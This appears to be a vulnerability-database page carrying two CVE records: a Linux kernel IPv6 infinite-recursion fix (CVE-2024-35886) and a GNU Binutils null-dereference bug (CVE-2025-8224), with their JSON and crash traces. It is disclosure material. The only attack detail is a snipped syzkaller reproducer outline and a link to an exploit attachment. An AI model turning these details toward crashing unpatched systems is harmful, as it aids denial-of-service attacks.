In the Linux kernel, the following vulnerability has been resolved: ipv6: Fix infinite recursion in fib6_dump_done(). syzkaller reported infinite recursive calls of fib6_dump_done() during netlink socket destruction. [1] From the log, syzkaller sent an AF_UNSPEC RTM_GETROUTE message, and then the response was generated. The following recvmmsg() resumed the dump for IPv6, but the first call of inet6_dump_fib() failed at kzalloc() due to the fault injection. [0] 12:01:34 executing program 3: r0 = socket$nl_route(0x10, 0x3, 0x0) sendmsg$nl_route(r0, ... snip ...) recvmmsg(r0, ... snip ...) (fail_nth: 8) Here, fib6_dump_done() was set to nlk_sk(sk)->cb.done, and the next call of inet6_dump_fib() set it to nlk_sk(sk)->cb.args[3]. syzkaller stopped receiving the response halfway through, and finally netlink_sock_destruct() called nlk_sk(sk)->cb.done(). fib6_dump_done() calls fib6_dump_end() and nlk_sk(sk)->cb.done() if it is still not NULL. fib6_dump_end() rewrites nlk_sk(sk)->cb.done() by nlk_sk(sk)->cb.args[3], but it has the same function, not NULL, calling itself recursively and hitting the stack guard page. To avoid the issue, let's set the destructor after kzalloc(). [0]: FAULT_INJECTION: forcing a failure. name failslab, interval 1, probability 0, space 0, times 0 CPU: 1 PID: 432110 Comm: syz-executor.3 Not tainted 6.8.0-12821-g537c2e91d354-dirty #11 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.0-0-gd239552ce722-prebuilt.qemu.org 04/01/2014 Call Trace: <TASK> dump_stack_lvl (lib/dump_stack.c:117) should_fail_ex (lib/fault-inject.c:52 lib/fault-inject.c:153) should_failslab (mm/slub.c:3733) kmalloc_trace (mm/slub.c:3748 mm/slub.c:3827 mm/slub.c:3992) inet6_dump_fib (./include/linux/slab.h:628 ./include/linux/slab.h:749 net/ipv6/ip6_fib.c:662) rtnl_dump_all (net/core/rtnetlink.c:4029) netlink_dump (net/netlink/af_netlink.c:2269) netlink_recvmsg (net/netlink/af_netlink.c:1988) ____sys_recvmsg (net/socket.c:1046 net/socket.c:2801) ___sys_recvmsg (net/socket.c:2846) do_recvmmsg (net/socket.c:2943) __x64_sys_recvmmsg (net/socket.c:3041 net/socket.c:3034 net/socket.c:3034) [1]: BUG: TASK stack guard page was hit at 00000000f2fa9af1 (stack is 00000000b7912430..000000009a436beb) stack guard page: 0000 [#1] PREEMPT SMP KASAN CPU: 1 PID: 223719 Comm: kworker/1:3 Not tainted 6.8.0-12821-g537c2e91d354-dirty #11 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.0-0-gd239552ce722-prebuilt.qemu.org 04/01/2014 Workqueue: events netlink_sock_destruct_work RIP: 0010:fib6_dump_done (net/ipv6/ip6_fib.c:570) Code: 3c 24 e8 f3 e9 51 fd e9 28 fd ff ff 66 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 f3 0f 1e fa 41 57 41 56 41 55 41 54 55 48 89 fd <53> 48 8d 5d 60 e8 b6 4d 07 fd 48 89 da 48 b8 00 00 00 00 00 fc ff RSP: 0018:ffffc9000d980000 EFLAGS: 00010293 RAX: 0000000000000000 RBX: ffffffff84405990 RCX: ffffffff844059d3 RDX: ffff8881028e0000 RSI: ffffffff84405ac2 RDI: ffff88810c02f358 RBP: ffff88810c02f358 R08: 0000000000000007 R09: 0000000000000000 R10: 0000000000000000 R11: 0000000000000224 R12: 0000000000000000 R13: ffff888007c82c78 R14: ffff888007c82c68 R15: ffff888007c82c68 FS: 0000000000000000(0000) GS:ffff88811b100000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: ffffc9000d97fff8 CR3: 0000000102309002 CR4: 0000000000770ef0 PKRU: 55555554 Call Trace: <#DF> </#DF> <TASK> fib6_dump_done (net/ipv6/ip6_fib.c:572 (discriminator 1)) fib6_dump_done (net/ipv6/ip6_fib.c:572 (discriminator 1)) ... fib6_dump_done (net/ipv6/ip6_fib.c:572 (discriminator 1)) fib6_dump_done (net/ipv6/ip6_fib.c:572 (discriminator 1)) netlink_sock_destruct (net/netlink/af_netlink.c:401) __sk_destruct (net/core/sock.c:2177 (discriminator 2)) sk_destruct (net/core/sock.c:2224) __sk_free (net/core/sock.c:2235) sk_free (net/core/sock.c:2246) process_one_work (kernel/workqueue.c:3259) worker_thread (kernel/workqueue.c:3329 kernel/workqueue. ---truncated---

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/9472d07cd095cbd32…
https://git.kernel.org/stable/c/9c5258196182c25b5…
https://git.kernel.org/stable/c/fd307f2d91d40fa7b…
https://git.kernel.org/stable/c/40a344b2ddc06c1a2…
https://git.kernel.org/stable/c/167d4b47a9bdcb015…
https://git.kernel.org/stable/c/f2dd75e57285f49e3…
https://git.kernel.org/stable/c/4a7c465a5dcd657d5…
https://git.kernel.org/stable/c/d21d40605bca7bd5f…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 9472d07cd095cbd3294ac54c42f304a38fbe9bfe (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 9c5258196182c25b55c33167cd72fdd9bbf08985 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < fd307f2d91d40fa7bc55df3e2cd1253fabf8a2d6 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 40a344b2ddc06c1a2caa7208a43911f39c662778 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 167d4b47a9bdcb01541dfa29e9f3cbb8edd3dfd2 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < f2dd75e57285f49e34af1a5b6cd8945c08243776 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 4a7c465a5dcd657d59d25bf4815e19ac05c13061 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < d21d40605bca7bd5fc23ef03d4c1ca1f48bc2cae (git)
Linux	Linux	Affected: 2.6.12 Unaffected: 0 , < 2.6.12 (semver) Unaffected: 4.19.312 , ≤ 4.19.* (semver) Unaffected: 5.4.274 , ≤ 5.4.* (semver) Unaffected: 5.10.215 , ≤ 5.10.* (semver) Unaffected: 5.15.154 , ≤ 5.15.* (semver) Unaffected: 6.1.85 , ≤ 6.1.* (semver) Unaffected: 6.6.26 , ≤ 6.6.* (semver) Unaffected: 6.8.5 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-35886",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-05-20T15:12:24.428695Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-06-04T17:33:53.014Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T03:21:48.390Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/9472d07cd095cbd3294ac54c42f304a38fbe9bfe"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/9c5258196182c25b55c33167cd72fdd9bbf08985"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/fd307f2d91d40fa7bc55df3e2cd1253fabf8a2d6"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/40a344b2ddc06c1a2caa7208a43911f39c662778"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/167d4b47a9bdcb01541dfa29e9f3cbb8edd3dfd2"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/f2dd75e57285f49e34af1a5b6cd8945c08243776"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/4a7c465a5dcd657d59d25bf4815e19ac05c13061"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/d21d40605bca7bd5fc23ef03d4c1ca1f48bc2cae"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:52:20.136Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/ipv6/ip6_fib.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "9472d07cd095cbd3294ac54c42f304a38fbe9bfe",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "9c5258196182c25b55c33167cd72fdd9bbf08985",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "fd307f2d91d40fa7bc55df3e2cd1253fabf8a2d6",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "40a344b2ddc06c1a2caa7208a43911f39c662778",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "167d4b47a9bdcb01541dfa29e9f3cbb8edd3dfd2",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "f2dd75e57285f49e34af1a5b6cd8945c08243776",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "4a7c465a5dcd657d59d25bf4815e19ac05c13061",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "d21d40605bca7bd5fc23ef03d4c1ca1f48bc2cae",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/ipv6/ip6_fib.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "2.6.12"
            },
            {
              "lessThan": "2.6.12",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.312",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.274",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.215",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.154",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.85",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.26",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.5",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.312",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.274",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.215",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.154",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.85",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.26",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.5",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nipv6: Fix infinite recursion in fib6_dump_done().\n\nsyzkaller reported infinite recursive calls of fib6_dump_done() during\nnetlink socket destruction.  [1]\n\nFrom the log, syzkaller sent an AF_UNSPEC RTM_GETROUTE message, and then\nthe response was generated.  The following recvmmsg() resumed the dump\nfor IPv6, but the first call of inet6_dump_fib() failed at kzalloc() due\nto the fault injection.  [0]\n\n  12:01:34 executing program 3:\n  r0 = socket$nl_route(0x10, 0x3, 0x0)\n  sendmsg$nl_route(r0, ... snip ...)\n  recvmmsg(r0, ... snip ...) (fail_nth: 8)\n\nHere, fib6_dump_done() was set to nlk_sk(sk)-\u003ecb.done, and the next call\nof inet6_dump_fib() set it to nlk_sk(sk)-\u003ecb.args[3].  syzkaller stopped\nreceiving the response halfway through, and finally netlink_sock_destruct()\ncalled nlk_sk(sk)-\u003ecb.done().\n\nfib6_dump_done() calls fib6_dump_end() and nlk_sk(sk)-\u003ecb.done() if it\nis still not NULL.  fib6_dump_end() rewrites nlk_sk(sk)-\u003ecb.done() by\nnlk_sk(sk)-\u003ecb.args[3], but it has the same function, not NULL, calling\nitself recursively and hitting the stack guard page.\n\nTo avoid the issue, let\u0027s set the destructor after kzalloc().\n\n[0]:\nFAULT_INJECTION: forcing a failure.\nname failslab, interval 1, probability 0, space 0, times 0\nCPU: 1 PID: 432110 Comm: syz-executor.3 Not tainted 6.8.0-12821-g537c2e91d354-dirty #11\nHardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.0-0-gd239552ce722-prebuilt.qemu.org 04/01/2014\nCall Trace:\n \u003cTASK\u003e\n dump_stack_lvl (lib/dump_stack.c:117)\n should_fail_ex (lib/fault-inject.c:52 lib/fault-inject.c:153)\n should_failslab (mm/slub.c:3733)\n kmalloc_trace (mm/slub.c:3748 mm/slub.c:3827 mm/slub.c:3992)\n inet6_dump_fib (./include/linux/slab.h:628 ./include/linux/slab.h:749 net/ipv6/ip6_fib.c:662)\n rtnl_dump_all (net/core/rtnetlink.c:4029)\n netlink_dump (net/netlink/af_netlink.c:2269)\n netlink_recvmsg (net/netlink/af_netlink.c:1988)\n ____sys_recvmsg (net/socket.c:1046 net/socket.c:2801)\n ___sys_recvmsg (net/socket.c:2846)\n do_recvmmsg (net/socket.c:2943)\n __x64_sys_recvmmsg (net/socket.c:3041 net/socket.c:3034 net/socket.c:3034)\n\n[1]:\nBUG: TASK stack guard page was hit at 00000000f2fa9af1 (stack is 00000000b7912430..000000009a436beb)\nstack guard page: 0000 [#1] PREEMPT SMP KASAN\nCPU: 1 PID: 223719 Comm: kworker/1:3 Not tainted 6.8.0-12821-g537c2e91d354-dirty #11\nHardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.0-0-gd239552ce722-prebuilt.qemu.org 04/01/2014\nWorkqueue: events netlink_sock_destruct_work\nRIP: 0010:fib6_dump_done (net/ipv6/ip6_fib.c:570)\nCode: 3c 24 e8 f3 e9 51 fd e9 28 fd ff ff 66 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 f3 0f 1e fa 41 57 41 56 41 55 41 54 55 48 89 fd \u003c53\u003e 48 8d 5d 60 e8 b6 4d 07 fd 48 89 da 48 b8 00 00 00 00 00 fc ff\nRSP: 0018:ffffc9000d980000 EFLAGS: 00010293\nRAX: 0000000000000000 RBX: ffffffff84405990 RCX: ffffffff844059d3\nRDX: ffff8881028e0000 RSI: ffffffff84405ac2 RDI: ffff88810c02f358\nRBP: ffff88810c02f358 R08: 0000000000000007 R09: 0000000000000000\nR10: 0000000000000000 R11: 0000000000000224 R12: 0000000000000000\nR13: ffff888007c82c78 R14: ffff888007c82c68 R15: ffff888007c82c68\nFS:  0000000000000000(0000) GS:ffff88811b100000(0000) knlGS:0000000000000000\nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: ffffc9000d97fff8 CR3: 0000000102309002 CR4: 0000000000770ef0\nPKRU: 55555554\nCall Trace:\n \u003c#DF\u003e\n \u003c/#DF\u003e\n \u003cTASK\u003e\n fib6_dump_done (net/ipv6/ip6_fib.c:572 (discriminator 1))\n fib6_dump_done (net/ipv6/ip6_fib.c:572 (discriminator 1))\n ...\n fib6_dump_done (net/ipv6/ip6_fib.c:572 (discriminator 1))\n fib6_dump_done (net/ipv6/ip6_fib.c:572 (discriminator 1))\n netlink_sock_destruct (net/netlink/af_netlink.c:401)\n __sk_destruct (net/core/sock.c:2177 (discriminator 2))\n sk_destruct (net/core/sock.c:2224)\n __sk_free (net/core/sock.c:2235)\n sk_free (net/core/sock.c:2246)\n process_one_work (kernel/workqueue.c:3259)\n worker_thread (kernel/workqueue.c:3329 kernel/workqueue.\n---truncated---"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:13:08.608Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/9472d07cd095cbd3294ac54c42f304a38fbe9bfe"
        },
        {
          "url": "https://git.kernel.org/stable/c/9c5258196182c25b55c33167cd72fdd9bbf08985"
        },
        {
          "url": "https://git.kernel.org/stable/c/fd307f2d91d40fa7bc55df3e2cd1253fabf8a2d6"
        },
        {
          "url": "https://git.kernel.org/stable/c/40a344b2ddc06c1a2caa7208a43911f39c662778"
        },
        {
          "url": "https://git.kernel.org/stable/c/167d4b47a9bdcb01541dfa29e9f3cbb8edd3dfd2"
        },
        {
          "url": "https://git.kernel.org/stable/c/f2dd75e57285f49e34af1a5b6cd8945c08243776"
        },
        {
          "url": "https://git.kernel.org/stable/c/4a7c465a5dcd657d59d25bf4815e19ac05c13061"
        },
        {
          "url": "https://git.kernel.org/stable/c/d21d40605bca7bd5fc23ef03d4c1ca1f48bc2cae"
        }
      ],
      "title": "ipv6: Fix infinite recursion in fib6_dump_done().",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-35886",
    "datePublished": "2024-05-19T08:34:42.694Z",
    "dateReserved": "2024-05-17T13:50:33.112Z",
    "dateUpdated": "2026-05-12T11:52:20.136Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2025-8224 (GCVE-0-2025-8224)

Vulnerability from cvelistv5 – Published: 2025-07-27 05:32 – Updated: 2026-05-12 12:02

Title

GNU Binutils BFD Library elf.c bfd_elf_get_str_section null pointer dereference

Summary

A vulnerability has been found in GNU Binutils 2.44 and classified as problematic. This vulnerability affects the function bfd_elf_get_str_section of the file bfd/elf.c of the component BFD Library. The manipulation leads to null pointer dereference. Local access is required to approach this attack. The exploit has been disclosed to the public and may be used. The name of the patch is db856d41004301b3a56438efd957ef5cabb91530. It is recommended to apply a patch to fix this issue.

Severity ?

4.8 (Medium)


                        
                          CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P

3.3 (Low)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L/E:P/RL:O/RC:C

3.3 (Low)


                        
                          CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L/E:P/RL:O/RC:C

CWE

CWE-476 - NULL Pointer Dereference
CWE-404 - Denial of Service

Assigner

VulDB

References

8 references

URL	Tags
https://vuldb.com/?id.317812	vdb-entrytechnical-description
https://vuldb.com/?ctiid.317812	signaturepermissions-required
https://vuldb.com/?submit.621878	third-party-advisory
https://sourceware.org/bugzilla/show_bug.cgi?id=32109	issue-tracking
https://sourceware.org/bugzilla/show_bug.cgi?id=3…	issue-tracking
https://sourceware.org/bugzilla/attachment.cgi?id=15680	exploit
https://sourceware.org/git/gitweb.cgi?p=binutils-…	patch
https://www.gnu.org/	product

Impacted products

1 product

Vendor	Product	Version
GNU	Binutils	Affected: 2.44

Credits

arthurx (VulDB User)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2025-8224",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-07-28T16:59:03.296958Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-07-28T16:59:22.821Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "V3.1.5",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "V3.1.5",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "V3.1.5",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "V3.1.5",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIPLUS S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "V3.1.5",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:02:37.322Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-082556.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "modules": [
            "BFD Library"
          ],
          "product": "Binutils",
          "vendor": "GNU",
          "versions": [
            {
              "status": "affected",
              "version": "2.44"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "reporter",
          "value": "arthurx (VulDB User)"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "A vulnerability has been found in GNU Binutils 2.44 and classified as problematic. This vulnerability affects the function bfd_elf_get_str_section of the file bfd/elf.c of the component BFD Library. The manipulation leads to null pointer dereference. Local access is required to approach this attack. The exploit has been disclosed to the public and may be used. The name of the patch is db856d41004301b3a56438efd957ef5cabb91530. It is recommended to apply a patch to fix this issue."
        },
        {
          "lang": "de",
          "value": "In GNU Binutils 2.44 wurde eine problematische Schwachstelle gefunden. Betroffen ist die Funktion bfd_elf_get_str_section der Datei bfd/elf.c der Komponente BFD Library. Dank der Manipulation mit unbekannten Daten kann eine null pointer dereference-Schwachstelle ausgenutzt werden. Die Umsetzung des Angriffs hat dabei lokal zu erfolgen. Der Exploit steht zur \u00f6ffentlichen Verf\u00fcgung. Der Patch wird als db856d41004301b3a56438efd957ef5cabb91530 bezeichnet. Als bestm\u00f6gliche Massnahme wird Patching empfohlen."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "baseScore": 4.8,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P",
            "version": "4.0"
          }
        },
        {
          "cvssV3_1": {
            "baseScore": 3.3,
            "baseSeverity": "LOW",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L/E:P/RL:O/RC:C",
            "version": "3.1"
          }
        },
        {
          "cvssV3_0": {
            "baseScore": 3.3,
            "baseSeverity": "LOW",
            "vectorString": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L/E:P/RL:O/RC:C",
            "version": "3.0"
          }
        },
        {
          "cvssV2_0": {
            "baseScore": 1.7,
            "vectorString": "AV:L/AC:L/Au:S/C:N/I:N/A:P/E:POC/RL:OF/RC:C",
            "version": "2.0"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-476",
              "description": "NULL Pointer Dereference",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-404",
              "description": "Denial of Service",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2025-07-27T05:32:06.926Z",
        "orgId": "1af790b2-7ee1-4545-860a-a788eba489b5",
        "shortName": "VulDB"
      },
      "references": [
        {
          "name": "VDB-317812 | GNU Binutils BFD Library elf.c bfd_elf_get_str_section null pointer dereference",
          "tags": [
            "vdb-entry",
            "technical-description"
          ],
          "url": "https://vuldb.com/?id.317812"
        },
        {
          "name": "VDB-317812 | CTI Indicators (IOB, IOC, IOA)",
          "tags": [
            "signature",
            "permissions-required"
          ],
          "url": "https://vuldb.com/?ctiid.317812"
        },
        {
          "name": "Submit #621878 | GNU binutils--gdb 2.44 NULL Pointer Dereference",
          "tags": [
            "third-party-advisory"
          ],
          "url": "https://vuldb.com/?submit.621878"
        },
        {
          "tags": [
            "issue-tracking"
          ],
          "url": "https://sourceware.org/bugzilla/show_bug.cgi?id=32109"
        },
        {
          "tags": [
            "issue-tracking"
          ],
          "url": "https://sourceware.org/bugzilla/show_bug.cgi?id=32109#c2"
        },
        {
          "tags": [
            "exploit"
          ],
          "url": "https://sourceware.org/bugzilla/attachment.cgi?id=15680"
        },
        {
          "tags": [
            "patch"
          ],
          "url": "https://sourceware.org/git/gitweb.cgi?p=binutils-gdb.git;h=db856d41004301b3a56438efd957ef5cabb91530"
        },
        {
          "tags": [
            "product"
          ],
          "url": "https://www.gnu.org/"
        }
      ],
      "timeline": [
        {
          "lang": "en",
          "time": "2025-07-26T00:00:00.000Z",
          "value": "Advisory disclosed"
        },
        {
          "lang": "en",
          "time": "2025-07-26T02:00:00.000Z",
          "value": "VulDB entry created"
        },
        {
          "lang": "en",
          "time": "2025-07-26T15:01:30.000Z",
          "value": "VulDB entry last update"
        }
      ],
      "title": "GNU Binutils BFD Library elf.c bfd_elf_get_str_section null pointer dereference"
    }
  },
  "cveMetadata": {
